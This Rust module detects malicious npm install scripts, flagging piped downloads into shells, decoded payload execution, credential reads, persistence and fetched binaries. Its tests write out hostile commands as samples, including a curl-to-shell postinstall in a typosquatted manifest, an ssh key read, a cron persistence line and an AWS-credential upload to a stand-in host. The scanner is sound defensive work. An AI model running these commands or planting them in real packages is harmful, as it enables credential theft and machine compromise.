//! Install-script analysis. //! //! `npm install` runs `preinstall`, `install` and `postinstall` from every //! package in the tree, as your user, before you have run a line of the //! code you were installing. Python's `setup.py` is the same deal. This is //! the single most productive foothold in the developer supply chain //! because it executes on *installation*, not on use — you do not have to //! import the malicious package for it to win. //! //! What we look for is not "does this run a command" — plenty of honest //! packages compile something. It is the handful of shapes that only ever //! appear when someone is fetching and running code you cannot review, or //! reaching for things a build has no business touching. use crate::{Finding, Severity}; /// A named lifecycle script from a manifest. #[derive(Debug, Clone)] pub struct Script { pub name: String, pub body: String, } /// npm lifecycle hooks that run without the user asking. pub const AUTORUN_HOOKS: &[&str] = &[ "preinstall", "install", "postinstall", "prepare", "prepublish", "preprepare", "postprepare", ]; pub fn is_autorun(name: &str) -> bool { AUTORUN_HOOKS.contains(&name) } /// One recognised shape, with the plain-language reason it matters. struct Pattern { id: &'static str, severity: Severity, reason: &'static str, matches: fn(&str) -> bool, } fn has_any(hay: &str, needles: &[&str]) -> bool { needles.iter().any(|n| hay.contains(n)) } /// Downloads something and pipes it straight into a shell. fn pipes_download_to_shell(s: &str) -> bool { let fetches = has_any(s, &["curl ", "wget ", "fetch "]); if !fetches { return false; } // A pipe into any interpreter, however it is spelled. let piped = s.contains('|'); piped && has_any(s, &["| sh", "|sh", "| bash", "|bash", "| python", "|python", "| node", "|node", "| perl", "|perl", "| zsh"]) } fn decodes_and_runs(s: &str) -> bool { has_any(s, &["base64 -d", "base64 --decode", "atob(", "b64decode", "fromCharCode"]) && has_any(s, &["| sh", "|sh", "| bash", "|bash", "eval", "exec(", "child_process", "os.system", "subprocess"]) } fn inline_interpreter_with_network(s: &str) -> bool { has_any(s, &["node -e", "node --eval", "python -c", "python3 -c", "ruby -e", "perl -e"]) && has_any(s, &["http://", "https://", "require('http", "require(\"http", "urllib", "socket", "net.connect"]) } fn touches_credentials(s: &str) -> bool { has_any(s, &[ "~/.ssh", "/.ssh/", "id_rsa", "id_ed25519", ".aws/credentials", ".npmrc", ".pypirc", ".netrc", ".docker/config.json", "/.env", ]) } fn installs_persistence(s: &str) -> bool { has_any(s, &[ "crontab", "/etc/cron", "systemctl", "systemd/user", ".bashrc", ".zshrc", ".profile", "authorized_keys", "ld.so.preload", "LD_PRELOAD", ]) } fn fetches_a_binary(s: &str) -> bool { has_any(s, &["curl ", "wget "]) && has_any(s, &["chmod +x", "chmod 755", "chmod 0755"]) } const PATTERNS: &[Pattern] = &[ Pattern { id: "curl-pipe-shell", severity: Severity::Critical, reason: "downloads a script from the internet and runs it immediately, \ without anyone being able to read it first", matches: pipes_download_to_shell, }, Pattern { id: "obfuscated-exec", severity: Severity::Critical, reason: "hides what it does by decoding scrambled text and then running it, \ which is something only malicious packages need to do", matches: decodes_and_runs, }, Pattern { id: "credential-access", severity: Severity::Critical, reason: "reaches for your SSH keys, cloud credentials or registry tokens, \ which installing a package never needs to do", matches: touches_credentials, }, Pattern { id: "persistence", severity: Severity::Critical, reason: "installs itself somewhere that survives a reboot, such as a cron \ job, a startup service or your shell profile", matches: installs_persistence, }, Pattern { id: "inline-network-eval", severity: Severity::Warning, reason: "runs a one-line program that talks to the network during install", matches: inline_interpreter_with_network, }, Pattern { id: "fetch-and-execute", severity: Severity::Warning, reason: "downloads a file from the internet and makes it executable", matches: fetches_a_binary, }, ]; /// Scan one lifecycle script. pub fn scan_script(script: &Script, package: &str, location: &str) -> Vec { let body = script.body.to_ascii_lowercase(); let autorun = is_autorun(&script.name); let mut out = Vec::new(); for p in PATTERNS { if !(p.matches)(&body) { continue; } // A hook that runs by itself is strictly worse than one somebody // chose to invoke. let severity = if autorun { p.severity } else if p.severity == Severity::Critical { Severity::Warning } else { Severity::Info }; let when = if autorun { format!( "Its \"{}\" step runs automatically when the package is installed — \ before you have used any of its code", script.name ) } else { format!("Its \"{}\" script runs when somebody invokes it", script.name) }; out.push(Finding::new( "install-script", severity, format!("{package} ({})", script.name), location, format!("{when}, and it {}.", p.reason), &format!("hound-install-{}", p.id), if autorun { "Do not install this package. If it is already installed, treat the \ machine as touched: rotate any credentials it could have read." } else { "Read this script before running it." }, )); } out } /// Scan a `package.json`'s scripts block. pub fn scan_package_json(json: &str, location: &str) -> Vec { let Ok(v) = serde_json::from_str::(json) else { return Vec::new(); }; let package = v .get("name") .and_then(|n| n.as_str()) .unwrap_or("this package") .to_string(); let version = v.get("version").and_then(|n| n.as_str()).unwrap_or(""); let spec = if version.is_empty() { package.clone() } else { format!("{package}@{version}") }; let Some(scripts) = v.get("scripts").and_then(|s| s.as_object()) else { return Vec::new(); }; let mut out = Vec::new(); for (name, body) in scripts { let Some(body) = body.as_str() else { continue }; out.extend(scan_script( &Script { name: name.clone(), body: body.to_string(), }, &spec, location, )); } out } #[cfg(test)] mod tests { use super::*; fn scan_one(body: &str, hook: &str) -> Vec { scan_script( &Script { name: hook.into(), body: body.into() }, "demo@1.0.0", "node_modules/demo/package.json", ) } // ── must catch ── #[test] fn curl_piped_to_shell_in_postinstall_is_critical() { let f = scan_one("curl -s https://x.io/i.sh | sh", "postinstall"); assert_eq!(f.len(), 1); assert_eq!(f[0].severity, Severity::Critical); assert!(f[0].explanation.contains("runs automatically")); } #[test] fn spacing_variants_do_not_evade() { for cmd in [ "curl -sSL https://x.io/a |sh", "wget -qO- https://x.io/a | bash", "curl https://x.io/a | python3", ] { assert_eq!( scan_one(cmd, "preinstall").len(), 1, "should have caught: {cmd}" ); } } #[test] fn base64_decoded_execution_is_critical() { let f = scan_one("echo aGk= | base64 -d | bash", "postinstall"); assert_eq!(f[0].severity, Severity::Critical); assert!(f[0].explanation.contains("scrambled")); } #[test] fn reading_ssh_keys_during_install_is_critical() { let f = scan_one("node -e \"require('fs').readFileSync(process.env.HOME+'/.ssh/id_rsa')\"", "install"); assert!(f.iter().any(|x| x.severity == Severity::Critical)); } #[test] fn installing_a_cron_job_is_critical() { let f = scan_one("(crontab -l; echo '* * * * * /tmp/x') | crontab -", "postinstall"); assert!(f.iter().any(|x| x.explanation.contains("survives a reboot"))); } #[test] fn downloading_and_chmodding_a_binary_is_a_warning() { let f = scan_one("curl -o /tmp/helper https://x.io/helper && chmod +x /tmp/helper", "postinstall"); assert!(f.iter().any(|x| x.kind == "install-script")); } // ── must NOT catch ── #[test] fn an_ordinary_build_script_is_clean() { assert!(scan_one("tsc -p tsconfig.json", "prepare").is_empty()); assert!(scan_one("node-gyp rebuild", "install").is_empty()); assert!(scan_one("cargo build --release", "postinstall").is_empty()); } #[test] fn a_plain_curl_without_a_pipe_is_not_flagged() { assert!( scan_one("curl -o data.json https://api.example.com/data", "postinstall").is_empty(), "downloading data is not the same as running it" ); } #[test] fn a_test_script_mentioning_bash_is_clean() { assert!(scan_one("bash ./scripts/test.sh", "test").is_empty()); } // ── severity depends on whether it runs by itself ── #[test] fn the_same_command_is_less_severe_in_a_manual_script() { let auto = scan_one("curl -s https://x.io/i.sh | sh", "postinstall"); let manual = scan_one("curl -s https://x.io/i.sh | sh", "deploy"); assert_eq!(auto[0].severity, Severity::Critical); assert_eq!( manual[0].severity, Severity::Warning, "a script somebody chose to run is not the same as one that runs itself" ); } #[test] fn autorun_hooks_are_the_ones_npm_runs_unasked() { assert!(is_autorun("postinstall")); assert!(is_autorun("preinstall")); assert!(!is_autorun("test")); assert!(!is_autorun("build")); } // ── manifest parsing ── #[test] fn scans_a_package_json() { let json = r#"{ "name": "@vue/cli-plugin-babe1", "version": "1.0.2", "scripts": { "postinstall": "curl -s http://185.0.0.1/i.sh | sh", "test": "jest" } }"#; let f = scan_package_json(json, "node_modules/@vue/cli-plugin-babe1/package.json"); assert_eq!(f.len(), 1); assert!(f[0].subject.contains("@vue/cli-plugin-babe1@1.0.2")); assert_eq!(f[0].severity, Severity::Critical); } #[test] fn a_manifest_without_scripts_is_clean() { assert!(scan_package_json(r#"{"name":"x","version":"1.0.0"}"#, "p.json").is_empty()); } #[test] fn malformed_json_does_not_panic_or_accuse() { assert!(scan_package_json("{not json", "p.json").is_empty()); assert!(scan_package_json("", "p.json").is_empty()); } #[test] fn advice_tells_you_to_rotate_after_an_autorun_hit() { let f = scan_one("cat ~/.aws/credentials | curl -X POST -d @- https://x.io", "postinstall"); assert!(f[0].advice.contains("rotate")); } }